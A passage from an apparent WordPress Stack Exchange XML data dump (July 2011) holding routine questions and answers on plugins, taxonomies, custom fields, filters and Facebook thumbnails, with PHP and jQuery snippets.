:)&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-07-10T16:00:35.640" Title="IE8 positioning &quot;incompability&quot; issues" Tags="&lt;stylesheet&gt;" CommentCount="2" />
  <row Id="22565" PostTypeId="1" CreationDate="2011-07-10T16:12:36.940" Score="0" ViewCount="36" Body="&lt;p&gt;I'm developing on a local install of WP 3.2 and noticed that the search box inside the insert/edit link dialog is not working (Tiny MCE link button in the visual editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this / know what might be causing it? The search indicator just spins without returning any results when I type in keywords which I know to be good.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2011-08-12T01:22:29.133" Title="Internal linking search box not working - WP 3.2" Tags="&lt;links&gt;" AnswerCount="1" />
  <row Id="22566" PostTypeId="2" ParentId="22565" CreationDate="2011-07-10T16:30:01.217" Score="0" ViewCount="" Body="&lt;p&gt;Looks like this was caused by the WP-o-Matic plugin which my client was using.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2011-07-10T16:30:01.217" />
  <row Id="22567" PostTypeId="1" CreationDate="2011-07-10T18:10:30.880" Score="0" ViewCount="32" Body="&lt;p&gt;When I'm posting a link for a WordPress page or post on a Facebook Page wall (using the &quot;Post a link&quot; option), I want Facebook to offer up, as choices, (a) all images which are embedded in the linked page/post as well as (b) a set of default images (in case the page/post in question has no embedded images).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done is add (to wp_head) several candidate images in separate link rel=&quot;img_src&quot; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that these link rel tags appear to override any images that are actually embedded in the page/post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2011-08-10T01:21:41.317" Title="Choices for thumbnail image in a Facebook Link post" Tags="&lt;facebook&gt;&lt;img&gt;" AnswerCount="1" />
  <row Id="22568" PostTypeId="2" ParentId="4519" CreationDate="2011-07-10T18:23:27.920" Score="0" ViewCount="" Body="&lt;p&gt;If I understand your question, the following should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Thumbnail settings&quot; tab of NextGen's Options screen, enter the desired height in the second box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then UNcheck the box next to &quot;Set fix dimension&quot; so that aspect ratios are NOT ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH.&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2011-07-10T18:23:27.920" />
  <row Id="22569" PostTypeId="2" ParentId="22567" CreationDate="2011-07-10T18:24:29.463" Score="0" ViewCount="" Body="&lt;p&gt;You need to use a Plugin that manipulates the data sent via the Facebook Open Graph Protocol, e.g. &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-opengraph/&quot; rel=&quot;nofollow&quot;&gt;Facebook Opengraph&lt;/a&gt;. There are &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=facebook%20opengraph&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;several others, also&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Posts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8407/how-to-control-facebook-share-information-for-the-front-page&quot;&gt;How to control Facebook share information for the front page?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12613/facebook-is-only-displaying-preview-thumbnails-that-are-100px-from-my-posts&quot;&gt;Facebook is only displaying preview thumbnails that are 100px from my posts?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12532/facebook-sharing-link-is-not-showing-a-thumbnail-of-the-images-within-the-post&quot;&gt;Facebook sharing link is not showing a thumbnail of the images within the post?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/search?q=facebook%20opengraph&quot;&gt;Lots more&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-10T18:24:29.463" CommentCount="1" />
  <row Id="22570" PostTypeId="2" ParentId="20921" CreationDate="2011-07-10T18:35:59.750" Score="2" ViewCount="" Body="&lt;p&gt;I came up with a solution for your first question. i.e the tax metabox that only suggests terms from existing terms list but does not allow you to add new terms. The solution is jQuery based and modifies the default behavior of the tags (i.e non heirarchical taxonomies) meta box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Limitation:&lt;/strong&gt; Currently it only allows to add 1 term at a time, that is you can't add multiple existing terms as comma separated values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is also available as github's &lt;a href=&quot;https://gist.github.com/1074801&quot; rel=&quot;nofollow&quot;&gt;gist&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might do menu editor like metabox for taxonomy on next weekend. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the solution below can be used as plugin as can be used in your function.php file too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: No new terms taxonomy meta box&#xA;Plugin URI: https://gist.github.com/1074801&#xA;Description: Modifies the behavior of the taxonomy box, forbids user from selecting terms that don't belong to taxonomy.&#xA;Author: Hameedullah Khan&#xA;Author URI: http://hameedullah.com&#xA;Version: 0.1&#xA;License: Do what ever you like, but don't publish it under your name without improving it.&#xA; */&#xA;&#xA;/*&#xA; * For more information: http://wordpress.stackexchange.com/questions/20921/&#xA; */&#xA;&#xA;// currently works only with single taxonomy which should be defined here&#xA;// default is the built-in post_tag&#xA;define('CTM_TAXONOMY_NAME', 'post_tag');&#xA;&#xA;function ctm_custom_tax_js() {&#xA;&#xA;    // taxonomy name not defined or set to empty value&#xA;    if ( !defined('CTM_TAXONOMY_NAME') || !CTM_TAXONOMY_NAME ) {&#xA;        return;&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;&#xA;    function ctm_custom_termadd_handler(event){&#xA;            var tax = '&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt;';&#xA;            var input = jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; input.newtag');&#xA;&#xA;            var q = input.val().split(',');&#xA;&#xA;            // if there are more then two values, just add the first one&#xA;            // NOTE: because this solution does not support inserting multiple terms&#xA;            if (q.length &amp;gt; 1) {&#xA;                q = jQuery.trim(q[0]);&#xA;&#xA;                // as we don't support multiple terms&#xA;                // set the value of input box to the first term&#xA;                input.val(q);&#xA;            }&#xA;&#xA;            jQuery.get( ajaxurl + '?action=ajax-tag-search&amp;amp;tax=' + tax + '&amp;amp;q=' + q, function(results) {&#xA;                var tokens = results.split('\n');&#xA;                for (var i=0; i &amp;lt; tokens.length; i++) {&#xA;                    token = jQuery.trim(tokens[i]);&#xA;                    if ( token &amp;amp;&amp;amp; token == q ) {&#xA;                        (function($){&#xA;                            tagBox.flushTags( $('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt;') );&#xA;                        })(jQuery);&#xA;&#xA;                        return true;&#xA;                    }&#xA;                }&#xA;&#xA;            } );&#xA;            event.stopImmediatePropagation();&#xA;            return false;&#xA;    }&#xA;&#xA;    function ctm_custom_key_handler(event) {&#xA;        if (13 == event.which) {&#xA;            ctm_custom_termadd_handler(event);&#xA;            return false;&#xA;        }&#xA;        return true;&#xA;    }&#xA;&#xA;    jQuery(document).ready(function() {&#xA;        // unbiind the click event from the taxonomy box&#xA;        jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; input.tagadd').unbind('click');&#xA;        jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; input.newtag').unbind('keyup');&#xA;&#xA;        // hide the howto text for inserting multiple terms&#xA;        // NOTE: because this solution does not support inserting multiple terms&#xA;        jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; p.howto').hide();&#xA;&#xA;        // bind our custom handler&#xA;        jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; input.tagadd').click(ctm_custom_termadd_handler);&#xA;        jQuery('#tagsdiv-&amp;lt;?php echo CTM_TAXONOMY_NAME; ?&amp;gt; input.newtag').keyup(ctm_custom_key_handler);&#xA;    });&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;add_action('admin_footer-post-new.php', 'ctm_custom_tax_js');&#xA;add_action('admin_footer-post.php', 'ctm_custom_tax_js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; code updated to handle the return key as per @mike's comment.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-07-12T05:41:18.380" LastActivityDate="2011-07-12T05:41:18.380" CommentCount="3" />
  <row Id="22571" PostTypeId="2" ParentId="19383" CreationDate="2011-07-10T18:36:02.277" Score="0" ViewCount="" Body="&lt;p&gt;I understand the complaint that NextGen Gallery isn't highly intuitive. For example, it's very easy to miss the fact that one must &lt;strong&gt;select a gallery first&lt;/strong&gt;, before uploading an image. If I'm not mistaken, NextGen doesn't even give an error message if you try to upload an image &lt;strong&gt;without&lt;/strong&gt; selecting a gallery. (It would certainly help if the gallery-selection control were ABOVE the image-selection control!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, NextGen Gallery is, IMHO, a very good plugin for its purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm saying is give NextGen a chance. Once the unintuitive aspects of the interface are understood, I think your users will find it useful and easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My $0.02&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2011-07-10T18:36:02.277" />
  <row Id="22572" PostTypeId="2" ParentId="2603" CreationDate="2011-07-10T18:44:42.007" Score="0" ViewCount="" Body="&lt;p&gt;My first foray into ecommerce plugins for WordPress was last weekend, using SHOPP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good. Very good, in fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've built customized e-commerce solutions (and still do) and have a couple of projects using BigCommerce. What I &lt;strong&gt;really like&lt;/strong&gt; about SHOPP is its template tags structure: it mimics WordPress. I should think other coders would really like this aspect. I must say I agree with their claim: &quot;[Shopp] looks and works like it was meant to be part of WordPress all along&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Hat tip to the fellow member of the LinkedIn WordPress group who pointed us to the 41-minute video of the WordPress NYC Meetup presentations on WP-Ecommerce, Shopp, and ECWID:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=6Z3aAf4oRIw&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=6Z3aAf4oRIw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Shopp presentation in that video - and comments in that LinkedIn discussion thread - were big factors in my decision to try Shopp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Shopp does treat &lt;strong&gt;product variations&lt;/strong&gt; as separate products (which is a good thing if you're tracking inventory), it has a nifty grouping function which simplifies the workflow process.&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2011-07-10T18:44:42.007" />
  <row Id="22573" PostTypeId="1" AcceptedAnswerId="22580" CreationDate="2011-07-10T18:49:24.607" Score="0" ViewCount="45" Body="&lt;p&gt;I am trying to display all of the terms for a custom taxonomy(&lt;code&gt;characters&lt;/code&gt;), the taxonomy is related to a custom post type(&lt;code&gt;books&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is display all of the terms for &lt;code&gt;characters&lt;/code&gt;, so say for instance I have two &lt;code&gt;books&lt;/code&gt;, and I add three &lt;code&gt;characters&lt;/code&gt; to each &lt;code&gt;book&lt;/code&gt;, I would like all six characters to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would only like to get the names, not links, or in list form, if I could get a set of objects or an array that would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-07-10T20:35:35.033" Title="List custom taxonomy terms" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="22574" PostTypeId="1" CreationDate="2011-07-10T18:57:18.327" Score="1" ViewCount="30" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4789/changing-the-wp-admin-url-to-whatever-i-want&quot;&gt;Changing the &amp;#39;wp-admin&amp;#39; URL to whatever I want&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'd like to change the admin access &lt;code&gt;wp-admin&lt;/code&gt; to something else. for some reason. &#xA;How can i do that? &lt;/p&gt;&#xA;" OwnerUserId="3387" LastActivityDate="2011-07-10T18:57:18.327" ClosedDate="2011-07-10T20:24:35.663" Title="How can i change 'wp-admin' to something else?" Tags="&lt;customization&gt;&lt;admin&gt;" CommentCount="0" />
  <row Id="22575" PostTypeId="1" AcceptedAnswerId="22615" CreationDate="2011-07-10T18:58:05.557" Score="0" ViewCount="38" Body="&lt;p&gt;I just activated wordpress multisite in my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have few questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) WPMU and wordpress multisite both are same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I created a network in my site. I created like site1.mydomain.com, site2.mydomain.com etc.&#xA;   Is it possible to make my subdomains posts summary appear in my main domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Is it possible to make users access all subdomains with single registration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="3387" LastEditorDisplayName="" LastEditDate="2011-07-10T20:17:41.317" LastActivityDate="2011-07-11T14:08:33.417" Title="Some questions about WPMU" Tags="&lt;multisite&gt;&lt;network&gt;&lt;wordpress.org&gt;" AnswerCount="2" />
  <row Id="22577" PostTypeId="1" CreationDate="2011-07-10T20:23:05.523" Score="0" ViewCount="30" Body="&lt;p&gt;I know how to keep track on the 'index' of the current post when running the loop using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;current_post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bu this restarts the count from zero on subsequent paged pages. So if I have 20 posts, and show 5 posts per page, then on page 2 the posts are again numbered 0-4 instead of 5-9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a build in way to get the absolute index when running the loop on a paged page, or do I have to calculate the offset myself, using information about page number and posts per page?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-08-10T08:21:52.643" Title="$wp_query-&gt;current_post restarts from zero on paged pages" Tags="&lt;wp-query&gt;&lt;paged&gt;" AnswerCount="1" />
  <row Id="22578" PostTypeId="1" AcceptedAnswerId="22581" CreationDate="2011-07-10T20:27:30.723" Score="0" ViewCount="44" Body="&lt;p&gt;I have added the code below to an active plugin, but it's having no effect on my posts. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( ‘the_title’, ‘myfunction’);&#xA;&#xA;function myfunction($title) {&#xA; return &quot;Why won't this work?&quot; . $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post templates are definitely using the_title(), and the theme is normal (wp_head(), etc), and there are no conditionals surrounding the function in the plugin that would make it not run.  I have also tried adding different priority in the add_filter function, from -9999 to 9999, to no effect.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-07-10T20:41:26.523" Title="Why doesn't my simple the_title filter get applied?" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;title&gt;&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="22579" PostTypeId="2" ParentId="22527" CreationDate="2011-07-10T20:29:00.543" Score="1" ViewCount="" Body="&lt;p&gt;I figured it out! For anyone having the same problem, I solved it by adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_id = get_query_var('cat'); &#xA;query_posts(&quot;post_type=company&amp;amp;cat=$cat_id&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;right in front of the loop. Anyone having the same problem would probably also benefit from looking at &lt;a href=&quot;http://www.slideshare.net/williamsba/custom-post-types-and-taxonomies-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, too.&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-10T20:29:00.543" />
  <row Id="22580" PostTypeId="2" ParentId="22573" CreationDate="2011-07-10T20:35:35.033" Score="0" ViewCount="" Body="&lt;p&gt;I believe what you are looking for is the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;get_terms&lt;/a&gt; function. I found it looking at the code for &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2/wp-includes/category-template.php#L526&quot; rel=&quot;nofollow&quot;&gt;wp_tag_cloud&lt;/a&gt;, here is the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2/wp-includes/taxonomy.php#L1149&quot; rel=&quot;nofollow&quot;&gt;source of the function&lt;/a&gt;. This little snippet should get you what you are wanting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms(&quot;characters&quot;);&#xA;&#xA;if ( empty( $tags ) || is_wp_error( $tags ) )&#xA;  return;&#xA;&#xA;foreach ( $terms as $term ) {&#xA;  echo $term-&amp;gt;name;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-07-10T20:35:35.033" />
  <row Id="22581" PostTypeId="2" ParentId="22578" CreationDate="2011-07-10T20:41:26.523" Score="1" ViewCount="" Body="&lt;p&gt;Try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( ‘the_title’, ‘myfunction’);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_title', 'myfunction' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If this is indeed your problem it is likely an issue of copy/pasting code from a tutorial with curly quotes in place of standard single-quote marks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. prefix your function name with your Plugin slug. &quot;&lt;code&gt;myfunction&lt;/code&gt;&quot; is far too generic.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-10T20:41:26.523" CommentCount="2" />
  <row Id="22582" PostTypeId="2" ParentId="22577" CreationDate="2011-07-10T21:03:53.570" Score="0" ViewCount="" Body="&lt;p&gt;hopefully someone will provide a better answer, but for now I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We're about top start The Loop.&#xA;// Setting up a counter to keep track of the posts being processed&#xA;// We can't just use current_post as it start from zero on subsequent paged pages.&#xA;&#xA;$paged_no = ($wp_query-&amp;gt;query_vars['paged'] &amp;lt; 2 ) ? 0 : $wp_query-&amp;gt;query_vars['paged'] -1 ;&#xA;$current_offset = $paged_no * $wp_query-&amp;gt;query_vars['posts_per_page'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then inside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$absolute_post_index = $wp_query-&amp;gt;current_post+$current_offset+1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works when there are no sticky posts. If there are any, they will be stuck on the first page. This means that if there are 5 posts per page, and one sticky post, the first page will display 6 posts, and subsequent pages will display 5 posts. In that scenario page one will number the posts 0-5 and on page two the posts will be numbered 5-9, because the sticky post is no longer being considered. That's a problem because it means that the same index will be repeated for the last post on page 1 and the first post on page 2.&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-07-10T21:03:53.570" />
  <row Id="22583" PostTypeId="1" AcceptedAnswerId="22588" CreationDate="2011-07-10T22:04:17.227" Score="2" ViewCount="84" Body="&lt;p&gt;I have 15 custom fields that I use to generate reviews for my site. Currently I access each field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Buy or rent, type home, price&#xA;                 if ( get_post_meta(get_the_ID(), 'survey_home_type', true) ) {&#xA;                    echo get_post_meta(get_the_ID(), 'survey_home_type', true) . &quot; - &quot;;&#xA;                 } &#xA;                 if ( get_post_meta(get_the_ID(), 'survey_buy_or_rent', true) ) {&#xA;                    echo get_post_meta(get_the_ID(), 'survey_buy_or_rent', true) . &quot; for &quot;;&#xA;                 }&#xA;                 if ( get_post_meta(get_the_ID(), 'survey_purchase_price', true) ) {&#xA;                    echo get_post_meta(get_the_ID(), 'survey_purchase_price', true);&#xA;                 } elseif ( get_post_meta(get_the_ID(), 'survey_rent', true) ) {&#xA;                    echo get_post_meta(get_the_ID(), 'survey_rent', true);&#xA;                 } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do this? I tried using get_post_custom but it seems to mainly deal with arrays, not single items. I could also declare all the variables ahead of time, such as &lt;code&gt;$rent&lt;/code&gt;, &lt;code&gt;$purchase_price&lt;/code&gt;. I would like to hear any advice!&lt;/p&gt;&#xA;" OwnerUserId="6641" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-11T08:05:28.837" LastActivityDate="2011-07-12T13:10:14.437" Title="Cleaner way to access custom fields in code?" Tags="&lt;functions&gt;" AnswerCount="2" />
  <row Id="22584" PostTypeId="2" ParentId="10029" CreationDate="2011-07-10T22:42:02.923" Score="1" ViewCount="" Body="&lt;p&gt;You'll want to use the &lt;code&gt;tax_query&lt;/code&gt; argument for query_posts/WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;  &quot;tax_query&quot; =&amp;gt; array(&#xA;    array(&#xA;      &quot;taxonomy&quot; =&amp;gt; &quot;country&quot;,&#xA;      &quot;field&quot; =&amp;gt; &quot;slug&quot;,&#xA;      &quot;terms&quot; =&amp;gt; array( &quot;usa&quot;, &quot;canada&quot; )&#xA;    )&#xA;  )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;tax_query&lt;/code&gt; argument is an array, so you can query multiple taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="6922" LastActivityDate="2011-07-10T22:42:02.923" />
  <row Id="22585" PostTypeId="1" CreationDate="2011-07-10T22:58:21.350" Score="1" ViewCount="51" Body="&lt;p&gt;I have two custom post types in my WordPress installation. Both are set up the same way in functions.php (one called &quot;Media&quot; and the other &quot;Testimonials&quot;). For some reason, I'm now getting the following error in Admin when I go to edit or add Media items:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: call_user_func_array() expects parameter 1 to be a valid callback, &#xA;  function 'add_media_metaboxes' not found or invalid function name in /home/user&#xA;  /public_html/wp-includes/plugin.php on line 405&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This does not affect my ability to add or edit Media items. Why is this error occurring, and how can I get rid of the warning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site just changed domains, but I can't see how that would affect one custom post type and not the other. I've updated permalinks and all internal and external links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To follow up on @pippin's answer, here's the full code from functions.php. Do you see an error here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpt_media_posttype() {&#xA;    register_post_type( 'media',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Media Items' ),&#xA;                'singular_name' =&amp;gt; __( 'Media Item' ),&#xA;                'add_new' =&amp;gt; __( 'Add New Media Item' ),&#xA;                'add_new_item' =&amp;gt; __( 'Add New Media Item' ),&#xA;                'edit_item' =&amp;gt; __( 'Edit Media Items' ),&#xA;                'new_item' =&amp;gt; __( 'Add New Media Item' ),&#xA;                'view_item' =&amp;gt; __( 'View Media Items' ),&#xA;                'search_items' =&amp;gt; __( 'Search Media' ),&#xA;                'not_found' =&amp;gt; __( 'No media items found' ),&#xA;                'not_found_in_trash' =&amp;gt; __( 'No media items found in trash' )&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array( 'editor', 'thumbnail', 'title' ),&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;media&quot;), // Permalinks format&#xA;            'has_archive' =&amp;gt; true,&#xA;            'menu_position' =&amp;gt; 5,&#xA;            'register_meta_box_cb' =&amp;gt; 'add_media_metaboxes'&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_action( 'init', 'wpt_media_posttype' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditorDisplayName="" LastEditDate="2011-07-11T00:53:29.970" LastActivityDate="2011-07-11T00:53:29.970" Title="Warning when attempting to edit/add custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="22586" PostTypeId="2" ParentId="22585" CreationDate="2011-07-10T23:07:29.547" Score="1" ViewCount="" Body="&lt;p&gt;Check your add_media_metaboxes() function. The first parameter is wrong and mostly likely just miss spelled.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-10T23:07:29.547" CommentCount="0" />
  <row Id="22587" PostTypeId="2" ParentId="22583" CreationDate="2011-07-10T23:10:36.707" Score="2" ViewCount="" Body="&lt;p&gt;You could use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;get_post_custom()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a lot different, but a little less code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_custom( $post-&amp;gt;ID );&#xA;if( $meta ) &#xA;{ &#xA;    echo $meta['survey_home_type'];&#xA;    echo $meta['survey_buy_or_rent'];&#xA;    echo $meta['survey_rent'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2418" LastEditorDisplayName="" LastEditDate="2011-07-12T13:10:14.437" LastActivityDate="2011-07-12T13:10:14.437" CommentCount="6" />
  <row Id="22588" PostTypeId="2" ParentId="22583" CreationDate="2011-07-10T23:57:24.047" Score="3" ViewCount="" Body="&lt;p&gt;I would write a function to handle the monotony of this task.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_print_meta($id, $key, $alternate = '')&#xA;{&#xA;    if($value = get_post_meta($id, $key, true))&#xA;        echo $value;&#xA;    else&#xA;        echo $alternate;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice in the function that I only call &lt;code&gt;get_post_meta&lt;/code&gt; once and store the value in a variable so that two separate database queries don't need to be made. With this function set, I would then call it in a template file using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_print_meta(get_the_ID(), 'survey_home_type', 'No Home Type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, realize that this function, with the way that it manages the &quot;alternate&quot; text might not work for your template, but this is just an idea to get you going&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-10T23:57:24.047" CommentCount="2" />
  <row Id="22589" PostTypeId="2" ParentId="6106" CreationDate="2011-07-11T00:02:21.423" Score="0" ViewCount="" Body="&lt;p&gt;Really appreciate this answer as i was digging around for over 2 hours!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shared this with the guys at wordpress.org as i hope this can help others!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/perfect-permalink-possible?replies=4#post-2214102&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/perfect-permalink-possible?replies=4#post-2214102&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6923" LastActivityDate="2011-07-11T00:02:21.423" />
